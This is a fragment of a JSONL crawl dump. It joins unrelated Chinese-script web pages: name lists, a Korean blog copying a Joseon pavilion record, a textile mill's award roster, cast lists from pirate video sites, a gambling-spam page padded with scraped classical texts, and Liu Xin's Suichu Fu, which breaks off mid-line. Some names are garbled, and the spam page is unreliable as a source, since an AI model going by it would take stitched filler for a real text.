薛聪 薛雁 薛琼 薛八 薛博 薛雯 薛梦 薛玥 薛娇 薛滢 薛凯 薛英 薛锐 薛静 薛晔 薛瑾 薛众 薛岚 薛焙 薛易 薛坤 薛萍 薛红 薛潇 薛丽 薛金 薛诺 薛宁 薛状 薛蓓 薛伟 薛蓉 薛洁 薛茜 薛妍 薛琪 薛莹 薛洁 薛宇 薛芳 薛沂 薛钥 薛芳 薛雯 薛昕 薛冰 薛雪 薛烁 薛蕾 薛捷 薛好 薛想 薛微 薛冰 薛歌 薛钰 薛璐 薛琪 薛丹 薛艺 薛沐 薛晔 薛敏 薛睿 薛瑞 薛丽 薛云 薛琳 薛芬 薛昕 薛悦 薛夏 薛筱 薛蓉 薛伟 薛婕 薛丹 薛群 薛萧 薛晓 薛泓 薛晨 薛玲 薛欣 薛珂 薛倩 薛华 薛梦 薛凡 薛涵 薛蕾 薛芳 薛佳 薛青 薛玥\n非特殊说明,本文由本站原创或收集发布,如有侵权请通知我们撤除。\n本文链接:https:\/\/www.s028.com\/post\/24.html","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.s028.com\/post\/24.html","date":"2022-01-24T01:32:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304345.92\/warc\/CC-MAIN-20220123232910-20220124022910-00506.warc.gz","language":"lzh","language_score":0.8381804824,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8381804823875427, \"cmn_Hani_score\": 0.08407485485076904, \"nan_Hani_score\": 0.041237521916627884, \"wuu_Hani_score\": 0.034337181597948074}","num_words":403,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.285,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.847,"perplexity_score":500.0,"cluster_detection":1} +{"text":"'#2022\/06\/17'의 검색결과에 등록된 글 1\n17 2022년 06월\n17\n우연히 구입한 물재(勿齋) 손순효(孫舜孝) 선생의 문집에 창원부소루기(昌原府小樓記)가 실려 있어 옮겨 적어 둔다. 창원부 고지도에는 소루라는 명칭이 나오지 않는다. 昌原府小樓記 上即位 十有八年于兹矣日 御經筵 潛心聖學 所以挽回 唐虞三代之治于今之世 猶慮赤子 之無告也 何以保之 風俗之澆漓也 何以化之曰 守曰 令皆吾分憂者 惟爾銓曹其愼揀之凡 賢士大夫之在六部在臺閣者 亦皆分授而列於郡縣 盖重其邦本也 吾同年 申公末舟 纍世勲閥 文武全材 上之眷待隆矣 一朝特授昌原公聞 命郎行下車之日 首除苛政宣希 德音政平 訟理 民樂爲用 顧府之館舍 經營既久 頹圮亦多 無以慰王人之鞅掌者 於是鳩材備瓦役 人吏之入番者 始工於 甲辰仲秋斷手於 乙巳季春 寝房内外 合閣前後中廳 行廊 南廳 中廊 東軒之 隅又起 高樓三間 其規模制度 皆出心匠榱題 丹艧輝暎鮮明 若夫火傘張空 流..","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/blog.daum.net\/win690\/archive\/20220617","date":"2022-08-07T16:04:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882570651.49\/warc\/CC-MAIN-20220807150925-20220807180925-00422.warc.gz","language":"lzh","language_score":0.9277367592,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.927736759185791, \"cmn_Hani_score\": 0.053330276161432266}","num_words":75,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.928,"perplexity_score":500.0,"cluster_detection":1} +{"text":"(共143名,按照姓氏筆畫排序)\n丁紀崗 馬國躍 馬彥明 馬超群 王?飛 王?濤 王?斐 王天翔 王正通\n王永剛 王創云 王宏偉 王俊平 王曉剛 王曉宇 王海風 王娟玲 王繼龍\n王景昌 牛青山 方?果 方敬愛 申國平 馮增朝 成明祥 師守國 呂春祥?\n呂晉宇 任斌知 劉?沖 劉子良 劉明國 劉斌來 劉瑞云 關雁龍 安?宇\n安利明 許?麗 許小紅 孫?艷 蘇莉軼 蘇鐵熊 李?光 李?侃 李?猛?\n李云龍 李亞峰 李迎春 李建文 李建民 李貴順 李亮峰 李彥玲 李晉平?\n李章賀 李朝新 李照勇 李曜雷 楊?杰 楊江霖 楊良杰 楊治平 楊海英\n肖連團 吳鳳鳴 吳玉琴 張?軍 張?勇 張?靖 張天才 張中東 張發才?\n張成龍 張軍六 張陽平 張紅云 張國杰 張京玲 張曉玲 張瑞平 張福祥\n張慧慧 陳?平 陳立潮 陳利民 陳愛英 武雪峰 范小娥 岳潤慶 金智新\n周?然 周忠愛 孟?青 孟?勇 趙素麗 趙桂香 趙海峰 趙谞炯 郝重耀?\n郝曉剛 荊繼存 郜慧萍 段宏飛 段曉輝 侯水云 賈雄雷 柴志凱 柴高貴?\n黨建軍 徐芳泓 徐香琴 高建川 郭?亮 郭?婷 郭建新 郭凌冰 郭微波\n常許雁 常明昌 康向平 梁余妮 頡曉偉 董紅建 董曉強 韓?溫 韓長青\n景建喜 程子昂 程楊玉 程繼堂 焦?勇 溫萬一 溫俊卿 溫輝芹 蒯平宇\n路建宏 竇銀科 譚麗紅 熊曉燕 樊?璇 薛利云 薛保平 穆志明","id":"","dump":"CC-MAIN-2023-14","url":"http:\/\/www.stonesour1.com\/gykx\/ldjg\/art\/2021\/art_1c250e759eb84965aad3e240aab6013c.html","date":"2023-03-26T11:39:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945472.93\/warc\/CC-MAIN-20230326111045-20230326141045-00151.warc.gz","language":"lzh","language_score":0.8945069313,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.8945069313049316, \"nan_Hani_score\": 0.0791347473859787, \"cmn_Hani_score\": 0.02526026777923107}","num_words":144,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.303,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.901,"perplexity_score":500.0,"cluster_detection":1} +{"text":"致敬五十年,奮斗再出發。9月15日,慶祝寧紡建廠50周年暨創業功臣表彰大會在河北省寧晉縣東城社區文化活動中心(寧紡職工俱樂部)盛大舉行。\n中國紡織工業聯合會黨委副書記陳偉康宣讀了中國紡織工業聯合會賀信。\n大會對50年來涌現出的功勛人物和合作伙伴進行了表彰。\n日前,邢臺市工業經濟聯合會決定授予寧紡董事長蘇瑞廣\"經濟發展功臣\"稱號。建廠50周年前夕,寧紡集團經過認真評選,決定授予賈二喜、劉敬通杰出功勛獎,授予段翠池等10人十大杰出人物稱號,授予趙素彩等107人百名創業功臣稱號,授予王培月等103人百名突出貢獻者稱號,授予李獻格等190人最美奮斗者稱號。\n寧紡五十年表彰人員名單\n一、 經濟發展功臣(1人)\n蘇瑞廣\n二、寧紡50年杰出功勛獎(2人)\n賈二喜 劉敬通\n三、寧紡50年十大杰出人物(10人)\n段翠池 巨娟穩 石新勝 曹金常 陳皂江 聶波洲 李連學 朱虎林 劉孟珠 徐建林\n四、寧紡50年百名創業功臣(107人)\n趙素彩 趙鳳戀 董勝娥 李愛敏 韓勝蓮 宋玉風 王玉忠 賀增桂 崔京端 賈二英 董增江 梁翠珍 李祿壽 郭家彬 李桂芬 江香格 呂殿欽 段榮果 陳皂海 陳群秀 周獻敏 韓存福 邢素英 張振凱 董運社 周巧彩 任月敏 靳獻榮 史軍彩 曹素紅 趙洪欣 張云素 劉煥存 馮翠巧 王永生 張月改 賈瑞峰 楚彥臺 李豐才 李文路 曹彥軍 張月芬 劉瑞彩 裴彥民 孫香芮 王計科 賈軍傳 段增學 張建波 王華茂 谷敏巧 曹夢華 吳英林 柳豐年 耿藏坤 李德勛 劉同軍 周成謙 蘇 飛 馬洪彬 李桂芬 裴梅勝 裴梅嶺 李存周 孫彩芬 趙翠芳 李景皂 趙素英 孫曉梅 劉玉明 張京勇 程志堯 史貴金 董勝林 劉彥輝 李彩平 馮繼學 谷靈芬 武敬樓 黃京瑞 王俊果 楊喜俊 郭香巧 石金拴 張德茂 劉桂茂 安振華 張永軍 朱連華 荊增波 裴振敏 寧志坤 胡慶仕 陳蘭玉 王計凱 滑東升 溫振杰 王春甲 張香珍 曹君平 王藏軍 巨鳴久 顏軍鋒 朱勝華 李云肖 馬輝峰 王翠彬\n五、寧紡50年百名突出貢獻者(103人)\n王培月 韓俊敏 冀小興 薛彩霞 曹衛東 蘇翠青 王俊卿 趙建英 董國全 孫翠池 趙登秋 高云峰 張素珍 曹秋霞 李須芬 沈利忠 馮麗君 梁慧云 李存霞 協偉東 石素芬 米愛輝 董現芬 張志勇 曹春銳 王建忠 王煥敏 王密哲 高英霞 張艷芮 谷連英 蔡愛芳 周彥濤 李云峰 韓 芹 趙素果 李風存 鄭建偉 薛新志 王運起 靳彥林 趙貴民 曹彥文 楊曉鵬 溫建平 王志琴 靳麗霞 賈平英 張云霞 郭戰強 趙麗芳 段會芳 湯偉青 劉會芬 周 輝 張艷輝 劉曉娟 郭文通 張 彬 胡立朝 劉瑞紅 張素輝 趙占林 李樹峰 李會強 柳志超 呂青松 張興芳 趙云濤 趙士勇 劉建偉 侯立山 唐 立 史金國 劉月敏 孫 青 田立杰 王西彥 孟祥權 劉 偉 申學鋒 王江浩 陳 曉 田春山 豆朝輝 李 娟 孫紅娟 邢翠霞 陳素娟 王麗娟 陳 方 李現鋒 李現峰 趙香蕊 謝桂蓮 黃慧榮 閆素麗 楊麗坤 趙青苒 胡素芳 李云威 徐炎平 王柱軍\n六、寧紡50年最美奮斗者(190人)\n李獻格 賈翠霞 崔彥均 薛素華 張會欽 喬翠果 張彥芬 史???nbsp; 李獻須 劉貴仁 劉慶江 楊入茂 梁麗果 段平敏 薛會平 呂殿軍 雷志全 張志穩 王書珍 李桂祥 張麗敏 高翠香 李景雪 孫運省 李元慶 劉淑娟 曹雪麗 江素敏 梁 峰 張國寧 姜 玉 董玉蘭 董西欽 吳素改 劉京斌 蘇沛云 樊運紅 李寶田 王西利 劉立峰 張君芳 王現濤 張翠巧 閆建國 李翠娟 張秀霞 牛素卿 李少鋒 楊軍寧 李建坤 張艷霞 劉曉梅 劉鳳紅 趙建春 王 錦 朱京西 王新梅 劉 麗 王柱國 李秀麗 張獻輝 吳冬梅 柳翠嶺 宋運茹 張子飛 李彥生 耿樂千 王春伏 李國栓 趙軍波 閆國強 孔鵬輝 賈拴成 周子城 魯現鋒 魯紅霞 郭為群 趙永麗 賈貴遠 李秋果 孔會苗 趙現榮 張愛虎 陶建如 張利峰 王旭光 趙聚朋 張現均 邢翠剛 張瑞欣 李素紅 李拴強 李英亮 徐建滿 何恒斌 陳江馬 劉維莉 孟立文 張永建 董 澤 高西太 張 磊 劉志云 張立根 劉書軍 張西波 王俊芳 閆 煒 李鴻海 尚維欣 翟彥榮 閆云梅 朱立寧 米瑞紅 李 芳 耿立峙 孔凡茂 郭秀娟 薛立濤 滑立濤 陳秋寧 張永濤 王建業 高寧輝 趙 寧 趙軍波 谷勝軍 馮素輝 薛秋粉 郭立偉 郭占濤 胡亞萍 高江濤 史瑞麗 劉 蘭 耿軍強 郝永偉 李 雷 施 淼 張輝娟 羅翠芳 駱素匣 張建強 劉仲謀 王 娜 李軍賀 李青航 曹 莎 楊 興 史朋云 劉曉川 梁志偉 楊麗晉 李建芬 王坤鋒 耿金利 閆力密 尚棟臣 李西穩 張藏娟 石風花 魏文麗 張靜偉 裴江紅 趙 麗 李曉娜 趙 康 付娟蕊 張茵勤 孫麗麗 胡 芳 馬秋燕 張文娟 曹曉博 陳雪云 劉志娟 趙英銘 任 聰 趙 綠 王友明 劉 建 李紅娟 張雪連 杜雨潔 崔彥冬 李 松 許國寧 劉江坤 徐龍青 劉 晶\nGMT+8, 2023-12-11 23:43 , Processed in 0.062500 second(s), 19 queries .","id":"","dump":"CC-MAIN-2023-50","url":"http:\/\/www.s365006.com\/article-479-1.html","date":"2023-12-11T15:43:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679515260.97\/warc\/CC-MAIN-20231211143258-20231211173258-00267.warc.gz","language":"lzh","language_score":0.609152019,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6091520190238953, \"nan_Hani_score\": 0.24904479086399078, \"cmn_Hani_score\": 0.1371445655822754}","num_words":462,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.276,"stopwords_ratio":0.004,"flagged_words_ratio":0.0,"lang_id_score":0.668,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n王浩信 張振朗 馮盈盈 高海寧 石修 姜大衛 賴慰玲 蔣家旻 傅嘉莉 林宣妤 朱敏瀚 徐榮 許家傑 陳志健 湯怡 李成昌 蔡國慶 吳瑞庭 鄭詠謙 莫家淦 容天佑 張武孝 鬼塚 楊證樺 湯俊明 唐嘉麟 區軒瑋 陳家良 吳子衝 邵展鵬 陳狄克 秦煌 彭懷安 司徒暉 李漫芬 梁證嘉 阮政峯 吳嘉儀 梁雯蔚 彭翔翎 周麗欣 袁鎮業 余子明 林浩文 張漢斌 張本立 林敬剛 沈愛琳 莫偉文 於洋 關婉珊 羅鴻\n黃浩然 陳煒 譚俊彥 李施嬅 湯洛雯 朱晨麗 郭子豪 張彥博 謝賢 鄭希怡 鄭俊弘 謝雪心 康華 張文慈 海俊傑 陸詩韻 李美慧 蔡思貝 呂珊 曾偉權 朱匯林 楊柳青 黃耀煌 陳少邦 溫家偉 趙璧渝 謝芷倫 區靄玲 莫家淦 黃祥興 楊潮凱 張曦雯 陳敏之 鮑起靜 張頴康 鄭子誠 陳志健 黎燕珊 古明華 楊證樺 嘉駿 林子超 劉家聰 黃得生 羅蘭 麥玲玲 Kim Robertson 楊玉梅 李龍基 陳嘉桓 李漫芬 袁潔儀 吳香倫 李麗麗 胡美貽 程皓 吳沚默 張本立 林惜貞 吳卓衡 陳康琪 關嘉敏 夏子涓\n蕭正楠 姚子羚 黃智賢 洪永城 何廣沛 張兆輝 姜大衛 吳岱融 陳瀅 曾航生 甄詠珊 梁舜燕 張達倫 李璧琦 文雪兒 秦煌 李楓 盧宛茵 馮素波 彭懷安 楊瑞麟 林韋辰 鄧永健 劉思希 李霖恩 古明華 魯振順 邵卓堯 莊思明 何綺雲 尹詩沛 吳沚默 李天縱 譚坤倫 葉蒨文 陳嘉慧 何遠東 張智軒 康華 劉芷希 崔錦棠 莫家淦 何佩珉 易智遠 黃建東 蔡國威 杜大偉 煒烈 秦啓維 鄧以婷 喬寶寶 黃柏文 歐陽偉豪 鄭詠謙 張本立 曾健明\n李思捷 陳智燊 黃智雯 趙希洛 陳煒 古明華 孫慧雪 布偉傑 張名雅 陳家良 沈可欣 徐玟晴 蘇麗明 周梓盈 劉嘉琪 魯振順 林景程 潘志文 蘇恩磁 譚坤倫 林秀怡 利穎怡 李成昌 潘芳芳 潘冠霖 羅梓龍 陳偲穎 陳柏熹 張明偉 陳庭欣 王致迪 楊證樺 黃穎君 錢悅 田宇軒 鄭耀軒 吳綺珊 張雪瑩 林淑敏 方紹聰 張彥博 李晉強 張本立 周嘉洛 招浩明 吳偉豪 朱樂洺 吳嘉儀 李漫芬 趙樂賢 李日升 羅利期 羅莽 容天佑 陳珈穎 曾慧雲 邵卓堯 煒烈 張漢斌 陳偉琪 麥皓兒 周麗欣 郭田葰 曾健明 曹思詩\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E5%BC%B5%E6%9C%AC%E7%AB%8B------------.html","date":"2020-09-29T20:23:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402088830.87\/warc\/CC-MAIN-20200929190110-20200929220110-00214.warc.gz","language":"lzh","language_score":0.6756523848,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6756523847579956, \"cmn_Hani_score\": 0.18545673787593842, \"nan_Hani_score\": 0.12454746663570404, \"yue_Hani_score\": 0.013548016548156738}","num_words":240,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.721,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n王浩信 張振朗 馮盈盈 高海寧 石修 姜大衛 賴慰玲 蔣家旻 傅嘉莉 林宣妤 朱敏瀚 徐榮 許家傑 陳志健 湯怡 李成昌 蔡國慶 吳瑞庭 鄭詠謙 莫家淦 容天佑 張武孝 鬼塚 楊證樺 湯俊明 唐嘉麟 區軒瑋 陳家良 吳子衝 邵展鵬 陳狄克 秦煌 彭懷安 司徒暉 李漫芬 梁證嘉 阮政峯 吳嘉儀 梁雯蔚 彭翔翎 周麗欣 袁鎮業 余子明 林浩文 張漢斌 張本立 林敬剛 沈愛琳 莫偉文 於洋 關婉珊 羅鴻\n譚俊彥 陳山聰 黃智雯 楊秀惠 江欣燕 林嘉華 趙希洛 何遠東 何啓南 楊卓娜 羅浩銘 林師傑 杜大偉 鄭恕峯 蕭徽勇 方紹聰 唐嘉麟 尹詩沛 蔡國威 謝可逸 陳婉婷 陳家良 阮兒 司徒暉 莫偉文 孟苑榕 邵展鵬 黃凱琪 林浩文 丁樂鍶 羅永健 鄧嘉傑 何晉樂 陳戩浩 鄭雋熹 梁嘉駿 梁百川 梁珈詠 曾敏 曾慧雲 餘應彤 張雪瑩 關浩揚 梁雯蔚 於洋 黃子雄 劉芷希 李善恆 黃可盈\n李思捷 陳智燊 黃智雯 趙希洛 陳煒 古明華 孫慧雪 布偉傑 張名雅 陳家良 沈可欣 徐玟晴 蘇麗明 周梓盈 劉嘉琪 魯振順 林景程 潘志文 蘇恩磁 譚坤倫 林秀怡 利穎怡 李成昌 潘芳芳 潘冠霖 羅梓龍 陳偲穎 陳柏熹 張明偉 陳庭欣 王致迪 楊證樺 黃穎君 錢悅 田宇軒 鄭耀軒 吳綺珊 張雪瑩 林淑敏 方紹聰 張彥博 李晉強 張本立 周嘉洛 招浩明 吳偉豪 朱樂洺 吳嘉儀 李漫芬 趙樂賢 李日升 羅利期 羅莽 容天佑 陳珈穎 曾慧雲 邵卓堯 煒烈 張漢斌 陳偉琪 麥皓兒 周麗欣 郭田葰 曾健明 曹思詩\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E9%99%B3%E5%AE%B6%E8%89%AF------------.html","date":"2020-10-01T00:43:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402130531.89\/warc\/CC-MAIN-20200930235415-20201001025415-00014.warc.gz","language":"lzh","language_score":0.5929945707,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5929945707321167, \"cmn_Hani_score\": 0.2745647728443146, \"nan_Hani_score\": 0.11216709762811661, \"yue_Hani_score\": 0.019059499725699425}","num_words":169,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.652,"perplexity_score":500.0,"cluster_detection":1} +{"text":"張姓的男孩姓名大全,名字就如同影子一樣,形影不離,當你真真老去,它也不會遠去,它會長留於世。如此重要,男孩的取名更因該慎重。關於張氏姓名大全,張氏女孩姓名大全,和其他姓名大全。網友可以在文章結尾的相關文章裡查閱。那麼下面是小編總結的一些張姓男孩姓名大全。\n張洪華 張笑福 張笑恺 張倫恺 張芮嘉 張芮榮 張芮萍 張芮華 張偌嘉 張烜榮 張烜華 張花福 張花嘉 張花華 張花恺 張純萍 張景發 張凱傑 張轶順 張鈞雄 張盛景 張順茹 張凱翔 張順森 張鈞傑 張眾轶 張順傑 張景順 張順轶 張開順 張哲理 張清淼 張超盛 張景轶 張超傑 張诏順 張超凱 張焱發 張超雄 張偌賢 張偌毅 張偌輝 張偌震 張偌磊 張偌逸 張偌連 張倫锆 張倫銳 張倫葆 張倫稼 張斐盛 張斐景 張斐凱 張斐森 張斐發 張斐淼 張斐轶 張斐哲 張斐順 張清景 張清焱 張雄景 張雄凱 張雄發 張雄斐 張雄哲 張雄順 張程景 張程傑 張程凱 張程發 張程斐 張程轶 張程哲 張程順 張焱盛 張焱景 張焱凱 張純勝 張钊毅 張钊賦 張钊輝 張钊霆 張钊萬 張钊震 張钊磊 張钊逸 張钊連 張容勝 張容葆 張容稼 張容駒 張容賢 張容輝 張容慕 張容萬 張容震 張容億 張容逸 張容連 張容樂 張原廣 張原稼 張原賢 張原毅 張原賦 張原輝 張原慕 張哲凱 張哲發 張哲斐 張哲順 張哲翔 張順鈞 張順盛 張順景 張順凱 張順斐 張順雄 張順轶 張翔景 張超斐 張景茹 張發茹 張紫茹 張淇茹 張超茹 張朝茹 張鈞茹 張凱茹 張理茹 張盛茹 張順茹 張诏茹 張眾茹 張棟茹 張開茹 張棋茹 張斐茹 張淼茹 張清茹 張雄茹 張純銳 張倍廣\n相關文章:張氏姓名大全 徐氏姓名大全 田氏姓名大全","id":"","dump":"CC-MAIN-2021-04","url":"http:\/\/www.3322.online\/quming\/qmmj\/201612\/92990.html","date":"2021-01-18T01:52:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703514046.20\/warc\/CC-MAIN-20210117235743-20210118025743-00695.warc.gz","language":"lzh","language_score":0.737162292,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7371622920036316, \"nan_Hani_score\": 0.22844798862934113, \"cmn_Hani_score\": 0.027783896774053574}","num_words":148,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.768,"perplexity_score":500.0,"cluster_detection":1} +{"text":"田中真弓 冈村明美 中井和哉 平田广明\n夏树莉绪 久川绫 冈村明美 中田浩二 石冢运升 井上和彦 高橋美紀 五十岚丽 北島淳司 室園丈裕 上田敏也 伊藤美纪 阪口あや 沢海陽子 川田妙子 川上伦子 矢岛晶子 山口由里子\n小野大辅 植田佳奈 千叶进步 诹访部顺一 兵藤真子 上田耀司 野田顺子 森夏姬 冈村明美 千田光男 木村亚希子 石上裕一 松冈大介 小伏伸之\n横山智佐 富泽美智惠 高乃丽 西原久美子 渊崎由里子 田中真弓 冈本麻弥 伊仓一惠 折笠爱 陶山章央 池田胜 北村弘一 子安武人 冈村明美 增田由纪 冰上恭子 矢尾一树 乡里大辅 松野太纪 三矢雄二 难波圭一 藤原启治 西村知道 中田让治 中岛聪彦 麻生智久 小形满 佐佐木诚二 园部好德 山寺宏一\n田中真弓 冈村明美 中井和哉 山口胜平 平田广明 大谷育江 山口由里子 矢尾一树 长岛雄一 中尾隆圣 银河万丈 水田山葵 土井美加 京田尚子 中友子 高户靖广 青野武 竹本英史 沼田祐介 高冢正也 西胁保 平井启二 藤本隆弘 织田优成 松原大典 福原耕平 宫坂俊藏 宫崎宽务 石黑千寻 台奈津树 藤堂真衣 富冈美沙子 中川智美 砥出惠太 桥爪知久 赤羽根健治 中博史 石森达幸 山崎和佳奈 北岛康介 皆藤爱子 竹中直人\n我们快播电影网只提供WEB页面服务,本站不存储任何视频。\n若本站收录的内容侵犯了您的权益,请联系我们处理。\nCopyRight © www.qvodgvod.info 联系邮箱:","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/qvodgvod.info\/vodsearch\/actor\/%E5%86%88%E6%9D%91%E6%98%8E%E7%BE%8E-\/","date":"2021-04-21T16:17:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618039546945.85\/warc\/CC-MAIN-20210421161025-20210421191025-00194.warc.gz","language":"lzh","language_score":0.4103061855,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4103061854839325, \"cmn_Hani_score\": 0.397988498210907, \"jpn_Jpan_score\": 0.1508093923330307, \"wuu_Hani_score\": 0.020701982080936432, \"yue_Hani_score\": 0.012664568610489368}","num_words":113,"character_repetition_ratio":0.019,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.431,"perplexity_score":500.0,"cluster_detection":1} +{"text":"金沙娱城乐钢企的自救经营稳健现金流充沛将是抵御风险关键\n子曰:\"君子食无求饱,居无求安,敏于事而慎于言,就有道而正焉。可谓好学也已。\"\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故\n其後二岁,十一月甲子朔旦冬至,推历者以本统。天子亲至泰山,以十一月甲子朔旦冬至日祠上帝明堂,每脩封禅。其赞飨曰:\"天增授皇帝泰元神筴,周而复始。皇帝敬拜泰一。\"东至海上,考入海及方士求神者,莫验,然益遣,冀遇之。\n句践之裔,是曰无诸。既席汉宠,实因秦馀。驺、骆为姓,闽中是居。王摇之立,爰处东隅。後嗣不道,自相诛锄。\n十年,背晋盟,盟於楚。晋厉公怒,发兵伐郑。楚共王救郑。晋楚战鄢陵,楚兵败,晋射伤楚共王目,俱罢而去。十三年,晋悼公伐郑,兵於洧上。郑城守,晋亦去。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/yl848.justinlinge.com\/RFWTB48748.html","date":"2020-02-28T02:25:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146940.95\/warc\/CC-MAIN-20200228012313-20200228042313-00063.warc.gz","language":"lzh","language_score":0.4025860131,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4025860130786896, \"cmn_Hani_score\": 0.3628956973552704, \"zxx_Latn_score\": 0.0337216779589653, \"nan_Hani_score\": 0.03007657080888748, \"yue_Hani_score\": 0.028082365170121193, \"wuu_Hani_score\": 0.023414013907313347, \"jpn_Jpan_score\": 0.014073695987462997}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.196,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.333,"perplexity_score":500.0,"cluster_detection":1} +{"text":"《遂初赋》是中国文学史上第一篇、纪实性 \"述行赋\"。\"赋作\"勾勒出一幅纵贯晋地全境的、历史文化旅游\"线路图\"作者刘歆与其父刘向,同为西汉后期文坛的\"双子星座\"。因其校点皇室秘书时,发现了《左传》并力主列入\"学官\",触怒了众老臣;因而被远贬\"五原\",即今内蒙古包头西的五原县。刘歆从河内(即今河南沁阳)北上太行山,足迹遍布山西南北,同时留下此\"赋作\"\n遂初赋\n刘歆\n昔遂初之显禄兮,遭闾阖之开通。跖三台而上征兮,入北辰之紫官。备列宿于钩陈兮,拥大常之枢极。总六龙于驷房兮,奉华盖于帝侧。惟太阶之侈阔兮,机衡为之难运。惧魁杓之前后兮,遂隆集于河滨。遭阳侯之丰沛兮,乘素波以聊戾。得玄武之嘉兆兮,守五原之烽燧。二乘驾而既俟,仆夫期而在□。驰太行之严防兮,入天井之乔关。历冈岑以升降兮,马龙腾以超摅。无双驷以优游兮,济黎侯之旧居。心涤荡以慕远兮,回高都而北征。剧强秦之暴虐兮,吊赵括于长平。好周文之嘉德兮,躬尊贤而下士。骛驷马而观风兮,庆辛甲于长子。哀衰周之失权兮,数辱而莫扶。执孙蒯于屯留兮,救王师于途吾。过下虒而叹息兮,悲平公之作台。背宗周而不恤兮,苟偷乐而惰怠。枝叶落而不省兮,公族阒其无人。曰不爨而俞甚兮,政委弃于家门。载约屦而正朝服兮,降皮弁以为履。宝砾石于庙堂兮,面隋和而不视。始建衰而造乱兮,公室由此遂卑。怜后君之寄寓兮,唁靖公于铜鞮。越侯甲 